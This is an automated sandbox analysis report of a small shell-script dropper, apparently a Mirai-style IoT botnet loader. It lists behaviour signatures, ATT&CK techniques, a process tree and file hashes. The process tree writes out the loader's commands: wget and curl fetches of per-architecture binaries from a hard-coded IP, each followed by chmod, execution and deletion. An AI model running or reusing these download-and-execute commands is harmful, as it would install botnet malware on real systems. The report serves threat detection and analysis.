Analysis
- max time kernel
149s - max time network
150s - platform
debian-9_armhf - resource
debian9-armhf-20260513-en - resource tags
arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem - submitted
06/07/2026, 02:05
Static task
static1
Behavioral task
behavioral1
Sample
45fe93a02e02642855f6c371a50aecadd5d99bde504685e54874bb09ed1581bc.sh
Resource
ubuntu1804-amd64-20260513-en
Behavioral task
behavioral2
Sample
45fe93a02e02642855f6c371a50aecadd5d99bde504685e54874bb09ed1581bc.sh
Resource
debian9-armhf-20260513-en
Behavioral task
behavioral3
Sample
45fe93a02e02642855f6c371a50aecadd5d99bde504685e54874bb09ed1581bc.sh
Resource
debian9-mipsbe-20260513-en
Behavioral task
behavioral4
Sample
45fe93a02e02642855f6c371a50aecadd5d99bde504685e54874bb09ed1581bc.sh
Resource
debian9-mipsel-20260513-en
General
- Target 45fe93a02e02642855f6c371a50aecadd5d99bde504685e54874bb09ed1581bc.sh
- Size 2KB
- Sample260706-chvx3acy8p
- SHA256 45fe93a02e02642855f6c371a50aecadd5d99bde504685e54874bb09ed1581bc
- MD5 3860ba77f0cc8b08432f6df90ee22ad0
- SHA1 3ea9b58bf6954109f39ab8ccc02e95e4f6989ffb
- SHA512 7ccbace9cd9d588d1064c93cacc8a3515ca83f53da5977966d752c7db574e5cc70166f1921d99f1bf1b0a19591a42f93a14b70460b23106d563fc47bf2efc158
- TLSH T19B51918AF3110FF4AC698A2A72B9750DF0B180D6E5CF3EB658DA3CA564DEF047701642
- MD5 SHA1 SHA512 TLSH
Malware Config
Signatures
- File and Directory Permissions Modification 1 TTPs 15 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 674 chmod 702 chmod 731 chmod 803 chmod 831 chmod 772 chmod 784 chmod 791 chmod 808 chmod 813 chmod 843 chmod 749 chmod 778 chmod 823 chmod 837 chmod - Executes dropped EXE 1 IoCs
ioc pid Process /tmp/ar15.x86 675 45fe93a02e02642855f6c371a50aecadd5d99bde504685e54874bb09ed1581bc.sh - Modifies Watchdog functionality 1 TTPs 4 IoCs
Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.
description ioc Process File opened for modification /dev/misc/watchdog ar15.arm File opened for modification /dev/watchdog ar15.arm7 File opened for modification /dev/misc/watchdog ar15.arm7 File opened for modification /dev/watchdog ar15.arm - Enumerates running processes
Discovers information about currently running processes on the system
- Writes file to system bin folder 4 IoCs
description ioc Process File opened for modification /sbin/watchdog ar15.arm7 File opened for modification /bin/watchdog ar15.arm7 File opened for modification /sbin/watchdog ar15.arm File opened for modification /bin/watchdog ar15.arm -
resource yara_rule behavioral2/files/fstream-2.dat upx - Checks CPU configuration 1 TTPs 15 IoCs
Checks CPU information which indicate if the system is a virtual machine.
description ioc Process File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl -
description ioc Process File opened for reading /proc/15/status ar15.arm7 File opened for reading /proc/43/status ar15.arm7 File opened for reading /proc/293/status ar15.arm7 File opened for reading /proc/590/status ar15.arm7 File opened for reading /proc/self/auxv curl File opened for reading /proc/632/status ar15.arm File opened for reading /proc/6/status ar15.arm7 File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/4/status ar15.arm File opened for reading /proc/109/status ar15.arm File opened for reading /proc/298/status ar15.arm File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/exe ar15.arm7 File opened for reading /proc/self/auxv curl File opened for reading /proc/self/auxv curl File opened for reading /proc/self/auxv curl File opened for reading /proc/18/status ar15.arm File opened for reading /proc/20/status ar15.arm File opened for reading /proc/591/status ar15.arm File opened for reading /proc/21/status ar15.arm7 File opened for reading /proc/816/status ar15.arm7 File opened for reading /proc/42/status ar15.arm File opened for reading /proc/10/status ar15.arm File opened for reading /proc/185/status ar15.arm File opened for reading /proc/283/status ar15.arm File opened for reading /proc/802/status ar15.arm7 File opened for reading /proc/self/auxv curl File opened for reading /proc/42/status ar15.arm7 File opened for reading /proc/814/status ar15.arm7 File opened for reading /proc/817/status ar15.arm7 File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/26/status ar15.arm File opened for reading /proc/143/status ar15.arm File opened for reading /proc/322/status ar15.arm File opened for reading /proc/12/status ar15.arm7 File opened for reading /proc/108/status ar15.arm7 File opened for reading /proc/324/status ar15.arm7 File opened for reading /proc/654/status ar15.arm7 File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/22/status ar15.arm7 File opened for reading /proc/283/status ar15.arm7 File opened for reading /proc/787/status ar15.arm7 File opened for reading /proc/21/status ar15.arm File opened for reading /proc/643/status ar15.arm File opened for reading /proc/795/status ar15.arm File opened for reading /proc/27/status ar15.arm7 File opened for reading /proc/29/status ar15.arm7 File opened for reading /proc/585/status ar15.arm7 File opened for reading /proc/29/status ar15.arm File opened for reading /proc/315/status ar15.arm File opened for reading /proc/638/status ar15.arm File opened for reading /proc/1/status ar15.arm7 File opened for reading /proc/10/status ar15.arm7 File opened for reading /proc/self/exe ar15.arm File opened for reading /proc/4/status ar15.arm7 File opened for reading /proc/18/status ar15.arm7 File opened for reading /proc/632/status ar15.arm7 File opened for reading /proc/6/status ar15.arm File opened for reading /proc/159/status ar15.arm File opened for reading /proc/169/status ar15.arm File opened for reading /proc/295/status ar15.arm File opened for reading /proc/582/status ar15.arm - System Network Configuration Discovery 1 TTPs 4 IoCs
Adversaries may gather information about the network configuration of a system.
pid Process 678 wget 683 curl 704 ar15.mips 707 rm - Writes file to tmp directory 30 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/ar15.x86 curl File opened for modification /tmp/ar15.i468 curl File opened for modification /tmp/ar15.arm wget File opened for modification /tmp/ar15.arm5 wget File opened for modification /tmp/ar15.arm5 curl File opened for modification /tmp/ar15.arm6 curl File opened for modification /tmp/ar15.spc curl File opened for modification /tmp/ar15.m68k wget File opened for modification /tmp/busybox cp File opened for modification /tmp/ar15.i686 curl File opened for modification /tmp/ar15.arm7 wget File opened for modification /tmp/ar15.spc wget File opened for modification /tmp/ar15.i686 wget File opened for modification /tmp/ar15.x86_64 curl File opened for modification /tmp/ar15.arm curl File opened for modification /tmp/ar15.arm6 wget File opened for modification /tmp/ar15.sh4 curl File opened for modification /tmp/ar15.x86_64 wget File opened for modification /tmp/ar15.mpsl curl File opened for modification /tmp/ar15.ppc wget File opened for modification /tmp/ar15.sh4 wget File opened for modification /tmp/ar15.x86 wget File opened for modification /tmp/ar15.mips curl File opened for modification /tmp/ar15.arc wget File opened for modification /tmp/ar15.arc curl File opened for modification /tmp/ar15.arm7 curl File opened for modification /tmp/ar15.mips wget File opened for modification /tmp/ar15.mpsl wget File opened for modification /tmp/ar15.m68k curl File opened for modification /tmp/ar15.ppc curl
Processes
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/tmp/45fe93a02e02642855f6c371a50aecadd5d99bde504685e54874bb09ed1581bc.sh/tmp/45fe93a02e02642855f6c371a50aecadd5d99bde504685e54874bb09ed1581bc.sh1⤵
- Executes dropped EXE
PID:645 -
/bin/cpcp /bin/busybox /tmp/2⤵
- Writes file to tmp directory
PID:650
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/usr/bin/wgetwget http://94.154.43.77/ar-15/ar15.x862⤵
- Writes file to tmp directory
PID:657
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/usr/bin/curlcurl -O http://94.154.43.77/ar-15/ar15.x862⤵
- Checks CPU configuration
- Writes file to tmp directory
PID:673
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/bin/chmodchmod +x 45fe93a02e02642855f6c371a50aecadd5d99bde504685e54874bb09ed1581bc.sh ar15.x86 busybox systemd-private-aec12d3ad6f94194b6c67814ce9e657a-systemd-timedated.service-p6cNqj2⤵
- File and Directory Permissions Modification
PID:674
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/tmp/ar15.x86./ar15.x86 ar15.x862⤵PID:675
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/bin/rmrm -rf ar15.x862⤵PID:677
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/usr/bin/wgetwget http://94.154.43.77/ar-15/ar15.mips2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:678
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/usr/bin/curlcurl -O http://94.154.43.77/ar-15/ar15.mips2⤵
- Checks CPU configuration
- Reads runtime system information
- System Network Configuration Discovery
- Writes file to tmp directory
PID:683
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/bin/chmodchmod +x 45fe93a02e02642855f6c371a50aecadd5d99bde504685e54874bb09ed1581bc.sh ar15.mips busybox systemd-private-aec12d3ad6f94194b6c67814ce9e657a-systemd-timedated.service-p6cNqj2⤵
- File and Directory Permissions Modification
PID:702
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/tmp/ar15.mips./ar15.mips ar15.mips2⤵
- System Network Configuration Discovery
PID:704
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/bin/rmrm -rf ar15.mips2⤵
- System Network Configuration Discovery
PID:707
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/usr/bin/wgetwget http://94.154.43.77/ar-15/ar15.arc2⤵
- Writes file to tmp directory
PID:708
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/usr/bin/curlcurl -O http://94.154.43.77/ar-15/ar15.arc2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:730
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/bin/chmodchmod +x 45fe93a02e02642855f6c371a50aecadd5d99bde504685e54874bb09ed1581bc.sh ar15.arc busybox systemd-private-aec12d3ad6f94194b6c67814ce9e657a-systemd-timedated.service-p6cNqj2⤵
- File and Directory Permissions Modification
PID:731
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/tmp/ar15.arc./ar15.arc ar15.arc2⤵PID:732
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/bin/rmrm -rf ar15.arc2⤵PID:734
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/usr/bin/wgetwget http://94.154.43.77/ar-15/ar15.i4682⤵PID:735
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/usr/bin/curlcurl -O http://94.154.43.77/ar-15/ar15.i4682⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:736
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/bin/chmodchmod +x 45fe93a02e02642855f6c371a50aecadd5d99bde504685e54874bb09ed1581bc.sh ar15.i468 busybox systemd-private-aec12d3ad6f94194b6c67814ce9e657a-systemd-timedated.service-p6cNqj2⤵
- File and Directory Permissions Modification
PID:749
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/tmp/ar15.i468./ar15.i468 ar15.i4682⤵PID:750
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/bin/rmrm -rf ar15.i4682⤵PID:752
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/usr/bin/wgetwget http://94.154.43.77/ar-15/ar15.i6862⤵
- Writes file to tmp directory
PID:754
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/usr/bin/curlcurl -O http://94.154.43.77/ar-15/ar15.i6862⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:771
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/bin/chmodchmod +x 45fe93a02e02642855f6c371a50aecadd5d99bde504685e54874bb09ed1581bc.sh ar15.i686 busybox systemd-private-aec12d3ad6f94194b6c67814ce9e657a-systemd-timedated.service-p6cNqj2⤵
- File and Directory Permissions Modification
PID:772
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/tmp/ar15.i686./ar15.i686 ar15.i6862⤵PID:773
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/bin/rmrm -rf ar15.i6862⤵PID:775
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/usr/bin/wgetwget http://94.154.43.77/ar-15/ar15.x86_642⤵
- Writes file to tmp directory
PID:776
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/usr/bin/curlcurl -O http://94.154.43.77/ar-15/ar15.x86_642⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:777
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/bin/chmodchmod +x 45fe93a02e02642855f6c371a50aecadd5d99bde504685e54874bb09ed1581bc.sh ar15.x86_64 busybox systemd-private-aec12d3ad6f94194b6c67814ce9e657a-systemd-timedated.service-p6cNqj2⤵
- File and Directory Permissions Modification
PID:778
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/tmp/ar15.x86_64./ar15.x86_64 ar15.x86_642⤵PID:779
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/bin/rmrm -rf ar15.x86_642⤵PID:781
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/usr/bin/wgetwget http://94.154.43.77/ar-15/ar15.mpsl2⤵
- Writes file to tmp directory
PID:782
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/usr/bin/curlcurl -O http://94.154.43.77/ar-15/ar15.mpsl2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:783
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/bin/chmodchmod +x 45fe93a02e02642855f6c371a50aecadd5d99bde504685e54874bb09ed1581bc.sh ar15.mpsl busybox systemd-private-aec12d3ad6f94194b6c67814ce9e657a-systemd-timedated.service-p6cNqj2⤵
- File and Directory Permissions Modification
PID:784
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/tmp/ar15.mpsl./ar15.mpsl ar15.mpsl2⤵PID:785
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/bin/rmrm -rf ar15.mpsl2⤵PID:788
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/usr/bin/wgetwget http://94.154.43.77/ar-15/ar15.arm2⤵
- Writes file to tmp directory
PID:789
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/usr/bin/curlcurl -O http://94.154.43.77/ar-15/ar15.arm2⤵
- Checks CPU configuration
- Writes file to tmp directory
PID:790
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/bin/chmodchmod +x 45fe93a02e02642855f6c371a50aecadd5d99bde504685e54874bb09ed1581bc.sh ar15.arm busybox systemd-private-aec12d3ad6f94194b6c67814ce9e657a-systemd-timedated.service-p6cNqj2⤵
- File and Directory Permissions Modification
PID:791
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/tmp/ar15.arm./ar15.arm ar15.arm2⤵
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:792
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/bin/rmrm -rf ar15.arm2⤵PID:798
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/usr/bin/wgetwget http://94.154.43.77/ar-15/ar15.arm52⤵
- Writes file to tmp directory
PID:799
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/usr/bin/curlcurl -O http://94.154.43.77/ar-15/ar15.arm52⤵
- Checks CPU configuration
- Writes file to tmp directory
PID:800
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/bin/chmodchmod +x 45fe93a02e02642855f6c371a50aecadd5d99bde504685e54874bb09ed1581bc.sh ar15.arm5 busybox systemd-private-aec12d3ad6f94194b6c67814ce9e657a-systemd-timedated.service-p6cNqj2⤵
- File and Directory Permissions Modification
PID:803
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/tmp/ar15.arm5./ar15.arm5 ar15.arm52⤵PID:804
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/bin/rmrm -rf ar15.arm52⤵PID:805
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/usr/bin/wgetwget http://94.154.43.77/ar-15/ar15.arm62⤵
- Writes file to tmp directory
PID:806
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/usr/bin/curlcurl -O http://94.154.43.77/ar-15/ar15.arm62⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:807
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/bin/chmodchmod +x 45fe93a02e02642855f6c371a50aecadd5d99bde504685e54874bb09ed1581bc.sh ar15.arm6 busybox systemd-private-aec12d3ad6f94194b6c67814ce9e657a-systemd-timedated.service-p6cNqj2⤵
- File and Directory Permissions Modification
PID:808
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/tmp/ar15.arm6./ar15.arm6 ar15.arm62⤵PID:809
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/bin/rmrm -rf ar15.arm62⤵PID:810
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/usr/bin/wgetwget http://94.154.43.77/ar-15/ar15.arm72⤵
- Writes file to tmp directory
PID:811
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/usr/bin/curlcurl -O http://94.154.43.77/ar-15/ar15.arm72⤵
- Checks CPU configuration
- Writes file to tmp directory
PID:812
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/bin/chmodchmod +x 45fe93a02e02642855f6c371a50aecadd5d99bde504685e54874bb09ed1581bc.sh ar15.arm7 busybox systemd-private-aec12d3ad6f94194b6c67814ce9e657a-systemd-timedated.service-p6cNqj2⤵
- File and Directory Permissions Modification
PID:813
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/tmp/ar15.arm7./ar15.arm7 ar15.arm72⤵
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:814
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/bin/rmrm -rf ar15.arm72⤵PID:820
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/usr/bin/wgetwget http://94.154.43.77/ar-15/ar15.ppc2⤵
- Writes file to tmp directory
PID:821
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/usr/bin/curlcurl -O http://94.154.43.77/ar-15/ar15.ppc2⤵
- Checks CPU configuration
- Writes file to tmp directory
PID:822
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/bin/chmodchmod +x 45fe93a02e02642855f6c371a50aecadd5d99bde504685e54874bb09ed1581bc.sh ar15.ppc busybox systemd-private-aec12d3ad6f94194b6c67814ce9e657a-systemd-timedated.service-p6cNqj2⤵
- File and Directory Permissions Modification
PID:823
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/tmp/ar15.ppc./ar15.ppc ar15.ppc2⤵PID:824
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/bin/rmrm -rf ar15.ppc2⤵PID:826
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/usr/bin/wgetwget http://94.154.43.77/ar-15/ar15.spc2⤵
- Writes file to tmp directory
PID:827
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/usr/bin/curlcurl -O http://94.154.43.77/ar-15/ar15.spc2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:830
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/bin/chmodchmod +x 45fe93a02e02642855f6c371a50aecadd5d99bde504685e54874bb09ed1581bc.sh ar15.spc busybox systemd-private-aec12d3ad6f94194b6c67814ce9e657a-systemd-timedated.service-p6cNqj2⤵
- File and Directory Permissions Modification
PID:831
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/tmp/ar15.spc./ar15.spc ar15.spc2⤵PID:832
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/bin/rmrm -rf ar15.spc2⤵PID:834
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/usr/bin/wgetwget http://94.154.43.77/ar-15/ar15.m68k2⤵
- Writes file to tmp directory
PID:835
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/usr/bin/curlcurl -O http://94.154.43.77/ar-15/ar15.m68k2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:836
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/bin/chmodchmod +x 45fe93a02e02642855f6c371a50aecadd5d99bde504685e54874bb09ed1581bc.sh ar15.m68k busybox systemd-private-aec12d3ad6f94194b6c67814ce9e657a-systemd-timedated.service-p6cNqj2⤵
- File and Directory Permissions Modification
PID:837
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/tmp/ar15.m68k./ar15.m68k ar15.m68k2⤵PID:838
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/bin/rmrm -rf ar15.m68k2⤵PID:840
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/usr/bin/wgetwget http://94.154.43.77/ar-15/ar15.sh42⤵
- Writes file to tmp directory
PID:841
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/usr/bin/curlcurl -O http://94.154.43.77/ar-15/ar15.sh42⤵
- Checks CPU configuration
- Writes file to tmp directory
PID:842
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/bin/chmodchmod +x 45fe93a02e02642855f6c371a50aecadd5d99bde504685e54874bb09ed1581bc.sh ar15.sh4 busybox systemd-private-aec12d3ad6f94194b6c67814ce9e657a-systemd-timedated.service-p6cNqj2⤵
- File and Directory Permissions Modification
PID:843
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/tmp/ar15.sh4./ar15.sh4 ar15.sh42⤵PID:844
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/bin/rmrm -rf ar15.sh42⤵PID:846
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Network
MITRE ATT&CK Enterprise v16
Defense Evasion
File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Impair Defenses
1Virtualization/Sandbox Evasion
1System Checks
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path /tmp/ar15.x86
- Size 38KB
- SHA256 f6ed1f773e7555647b59fe502cf4e9f37a40c26aa14e3bd69665c19a596f2cc3
- MD5 c23ec0e56de725a3f600599810d9fca7
- SHA1 d42fa64b6c6e6bc5e7be0f295878de1671633602
- SHA512 b47625b253c312731798dade5888bee5923c819d746794b51235184efa81f8e3e2b4affbb3d3459acef8c423780692ca50cc559410f839558ef606f9281f2054
- SSDEEP 768:dXyZ9boRkEz8+RYgMAKusWxnqpCjC6kywTY2PPsIU9jqbJst3nbcuyD7UHQRjz:dYmkC8+WrfW8pAV25U9IGnouy8Hy3
- TLSH T13803F11AC7864998F127A2B654F7F94F0C04EA4D84E857921EFC3D67424AB603F2439F
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path /tmp/busybox
- Size 507KB
- SHA256 2dd1fbb8052a89f40c2e9af115d31346e554ee746e9c7a97d651e43e0609df88
- MD5 e588bcf03ae78237b58899d35f50c570
- SHA1 2194732ebbefbc27bdae876c77f2a97a20175710
- SHA512 904d906ec73ba5f828ee453acfceaf60d07b337a4baf1a88a2edba8d4568e4a3ceae2e24116af0a5b9c8ad194faa72abb62a72d30ae236b0852827c7bf896555
- SSDEEP 12288:KKCUYnMx/qAPbFabrimkuc+GnCIRki2jEyfbPxG3:KKqKqsbF2ZjGIrPfbPxG3
- TLSH T1EEB4E0C9FD812D83C6C3823D32021C759575D5DDB3AA921A322DA0FB3768AB653DE394
- MD5 SHA1 SHA512 SSDEEP TLSH